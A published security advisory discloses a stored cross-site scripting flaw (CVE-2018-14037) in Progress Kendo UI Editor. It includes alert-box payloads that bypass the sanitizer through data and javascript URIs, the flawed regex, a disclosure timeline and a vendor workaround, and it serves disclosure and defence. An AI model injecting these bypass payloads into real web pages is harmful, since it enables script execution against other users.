Progress Kendo UI Editor 2018.1.221 Cross Site Scripting

`SEC Consult Vulnerability Lab Security Advisory < 20180926-0 >  
=======================================================================  
title: Stored Cross-Site Scripting  
product: Progress Kendo UI Editor  
vulnerable version: v2018.1.221  
fixed version: none, see workaround  
CVE number: CVE-2018-14037  
impact: medium  
homepage: https://www.progress.com/kendo-ui  
found: 2018-04-23  
by: M. Tomaselli (Office Munich)  
SEC Consult Vulnerability Lab  
  
An integrated part of SEC Consult  
Europe | Asia | North America  
  
https://www.sec-consult.com  
  
=======================================================================  
  
Vendor description:  
-------------------  
"The Editor allows users to create rich text content by means of a WYSIWYG  
interface. This HTML5 widget outputs identical HTML across all major browsers,  
follows accessibility standards and provides an API for content manipulation.  
The generated widget value is comprised of XHTML markup."  
  
https://www.telerik.com/kendo-ui/editor  
  
  
Business recommendation:  
------------------------  
SEC Consult recommends to implement the workarounds provided by the vendor.  
  
  
Vulnerability overview/description:  
-----------------------------------  
The demo application of the Kendo UI Editor which is hosted at  
https://demos.telerik.com/kendo-ui/editor/api implements a Sanitizer function  
which should protect from cross site scripting. However, the implemented  
Sanitizer fails to catch certain payloads which allow an attacker to execute  
JavaScript in the context of the editor itself.  
  
  
Proof of concept:  
-----------------  
The following, incomplete list, of payloads can be used to trigger an alert  
box in the API demo application of the Kendo UI Editor:  
https://demos.telerik.com/kendo-ui/editor/api  
  
  
<object  
data="data:text/html;base64,PHNjcmlwdD5hbGVydCgic2VjdGVzdCIpPC9zY3JpcHQ+"></object>  
<IFRAME SRC="javascript:alert('XSS');"></IFRAME>  
<META  
HTTP-EQUIV="refresh"  
CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">  
  
  
  
After a click on the button the setValue function on line 513 of the beautified  
"api.js" is called:  
  
var setValue = function () {  
editor.value($("#value").val());  
};  
  
  
The value function is implemented in line 64383 of the beautified "kendo.all.js"  
file and defined as:  
  
value: function (html) {  
var body = this.body, editorNS = kendo.ui.editor, options =  
this.options, currentHtml = editorNS.Serializer.domToXhtml(body,  
options.serialization);  
if (html === undefined) {  
return currentHtml;  
}  
if (html == currentHtml) {  
return;  
}  
editorNS.Serializer.htmlToDom(html, body, options.deserialization);  
this.selectionRestorePoint = null;  
this.update();  
this.toolbar.refreshTools();  
},  
  
In order to mitigate certain XSS payloads the editorNS.Serializer.htmlToDom()  
function is called which can be seen in the excerpt below:  
  
var Serializer = {  
toEditableHtml: function (html) {  
return (html || '').replace(/<!\[CDATA\[(.*)?\]\]>/g,  
'<!--[CDATA[$1]]-->').replace(/<(\/?)script([^>]*)>/gi,  
'<$1k:script$2>').replace(/<img([^>]*)>/gi, function (match) {  
return match.replace(onerrorRe, '');  
}).replace(/(<\/?img[^>]*>)[\r\n\v\f\t ]+/gi,  
'$1').replace(/^<(table|blockquote)/i, br +  
'<$1').replace(/^[\s]*(&nbsp;|\u00a0)/i, '$1').replace(/<\/(table|blockquote)>$/i,  
'</$1>' + br);  
},  
  
Although certain payloads are detected and sanitized by the function, the  
implemented protection fails to detect the data uri payload. The payload is  
added unescaped to the editor DOM after several other functions calls.  
  
  
Vulnerable / tested versions:  
-----------------------------  
The following version has been identified to be vulnerable:  
* v2018.1.221  
  
  
Vendor contact timeline:  
------------------------  
2018-05-02: Contacting vendor through email for security contact  
2018-05-02: Contact person requests to obtain advisory via unencrypted mail  
2018-05-08: Advisory delivered through unencrypted email to vendor  
2018-05-29: Contacting vendor for current status and informing them about the  
publishing date  
2018-07-02: Reminded the vendor that the advisory will be published soon  
2018-07-02: Multiple emails exchanged, vendor demands that customers need to  
issue a support ticket on this case  
2018-07-03: Telling them that it is a security issue they already know two months  
without seemingly acting upon it.  
Vendor: product managers have been informed and will contact us;  
no further info  
2018-07-11: Asking vendor again for a status update & patch information  
2018-07-11: Vendor: "Thank you for following up. I have sent this to the product  
team to take into consideration. They will be following up with you as  
they may need. We appreciate you following up regarding this request."  
2018-07-12: Detailed answer from vendor regarding workaround  
2018-07-13: Requested CVE number  
2018-09-26: Public release of security advisory  
  
  
Solution:  
---------  
There is no fix available from the vendor. Check the vendor's website for  
potential future updates.  
  
  
Workaround:  
-----------  
The following workaround was provided by the vendor which has to be extended in  
order to mitigate all of the above mentioned payloads.  
  
```quote  
First, one thing to keep in mind with the Kendo UI Editor is that since it is  
a HTML editor that many users implement in order take advantage of HTML content  
(compared to straight text). This means that while we often sanitize many  
things (script tags, DOM event attributes, etc.) in order to prevent  
cross-site scripting [...] there are certain cases that we cannot automatically  
sanitize because of use cases that customers of ours have a this being one of  
them.  
  
Because the value that is set to the Editor is done through the jQuery method  
`$(a#valuea).val()` it is possible to sanitize or encode values before being  
set to the editor.  
  
This is can be done through implementing some custom sanitations through the  
`serialization.custom  
<https://docs.telerik.com/kendo-ui/api/javascript/ui/editor/configuration/serialization.custom>`,  
and  
`deserialization.custom<https://docs.telerik.com/kendo-ui/api/javascript/ui/editor/configuration/deserialization>`,  
options available in the Editor today.  
```  
  
```html  
<!DOCTYPE html>  
<html>  
<head>  
<meta charset="utf-8">  
<title>Untitled</title>  
  
<link rel="stylesheet"  
href="https://kendo.cdn.telerik.com/2018.2.620/styles/kendo.common.min.css">  
<link rel="stylesheet"  
href="https://kendo.cdn.telerik.com/2018.2.620/styles/kendo.rtl.min.css">  
<link rel="stylesheet"  
href="https://kendo.cdn.telerik.com/2018.2.620/styles/kendo.default.min.css">  
<link rel="stylesheet"  
href="https://kendo.cdn.telerik.com/2018.2.620/styles/kendo.mobile.all.min.css">  
  
<script src="https://code.jquery.com/jquery-1.12.3.min.js"></script>  
<script src="https://kendo.cdn.telerik.com/2018.2.620/js/angular.min.js"></script>  
<script src="https://kendo.cdn.telerik.com/2018.2.620/js/jszip.min.js"></script>  
<script  
src="https://kendo.cdn.telerik.com/2018.2.620/js/kendo.all.min.js"></script></head>  
<body>  
<textarea id="editor"></textarea>  
<script>  
function sanitizeHtml(html) {  
var temp = $("<div></div>").html(html);  
temp.find("object").remove();  
return temp.html() || "\ufeff";  
}  
  
$("#editor").kendoEditor({  
tools: [  
"viewHtml"  
],  
deserialization: {  
custom: function(html) {  
return sanitizeHtml(html);  
}  
},  
serialization: {  
custom: function(html) {  
return sanitizeHtml(html);  
}  
}  
});  
  
var editor = $("#editor").getKendoEditor();  
  
editor.value('<object  
data="data:text/html;base64,PHNjcmlwdD5hbGVydCgic2VjdGVzdCIpPC9zY3JpcHQ+"></object>');  
console.log(editor.value());  
</script>  
</body>  
</html>  
```  
  
  
Advisory URL:  
-------------  
https://www.sec-consult.com/en/vulnerability-lab/advisories/index.html  
  
  
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
  
SEC Consult Vulnerability Lab  
  
SEC Consult  
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EOF M. Tomaselli / @2018  
  
`